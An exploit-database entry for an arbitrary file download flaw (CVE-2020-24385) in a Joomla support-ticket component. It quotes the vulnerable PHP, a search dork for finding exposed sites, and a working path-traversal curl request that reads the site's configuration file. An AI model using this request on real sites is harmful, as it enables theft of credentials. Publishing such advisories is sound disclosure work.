Exploitalert - Database of Exploits

Joomla JS Support Ticket 1.1.5 Arbitrary File Download

CVE	Category	Price	Severity
CVE-2020-24385	CWE-200	$500	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2019-08-09

CPE
cpe:cpe:/a:joomla:joomla_js_support_ticket:1.1.5

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2019080036

Joomla JS Support Ticket 1.1.5 Arbitrary File Download

#Exploit Title: Joomla! component com_jssupportticket - Arbitrary File Download #Dork: inurl:"index.php?option=com_jssupportticket" #Date: 08.08.19 #Exploit Author: qw3rTyTy #Vendor Homepage: http://joomsky.com/ #Software Link: https://www.joomsky.com/46/download/1.html #Version: 1.1.5 #Tested on: Debian/nginx/joomla 3.9.0 ##################################### #Vulnerability details: ##################################### Vulnerable code is in line 1411 in file admin/models/ticket.php 1382 function getDownloadAttachmentByName($file_name,$id){ 1383 if(empty($file_name)) return false; 1384 if(!is_numeric($id)) return false; 1385 $db = JFactory::getDbo(); 1386 $filename = str_replace(' ', '_',$file_name); 1387 $query = "SELECT attachmentdir FROM `#__js_ticket_tickets` WHERE id = ".$id; 1388 $db->setQuery($query); 1389 $foldername = $db->loadResult(); 1390 1391 $datadirectory = $this->getJSModel('config')->getConfigurationByName('data_directory'); 1392 $base = JPATH_BASE; 1393 if(JFactory::getApplication()->isAdmin()){ 1394 $base = substr($base, 0, strlen($base) - 14); //remove administrator 1395 } 1396 $path = $base.'/'.$datadirectory; 1397 $path = $path . '/attachmentdata'; 1398 $path = $path . '/ticket/' . $foldername; 1399 $file = $path . '/' . $filename; 1400 1401 header('Content-Description: File Transfer'); 1402 header('Content-Type: application/octet-stream'); 1403 header('Content-Disposition: attachment; filename=' . basename($file)); 1404 header('Content-Transfer-Encoding: binary'); 1405 header('Expires: 0'); 1406 header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); 1407 header('Pragma: public'); 1408 header('Content-Length: ' . filesize($file)); 1409 //ob_clean(); 1410 flush(); 1411 readfile($file);//!!! 1412 exit(); 1413 exit; 1414 } ##################################### #PoC: ##################################### $> curl -X GET -i "http://localhost/index.php?option=com_jssupportticket&c=ticket&task=downloadbyname&id=0&name=../../../configuration.php"

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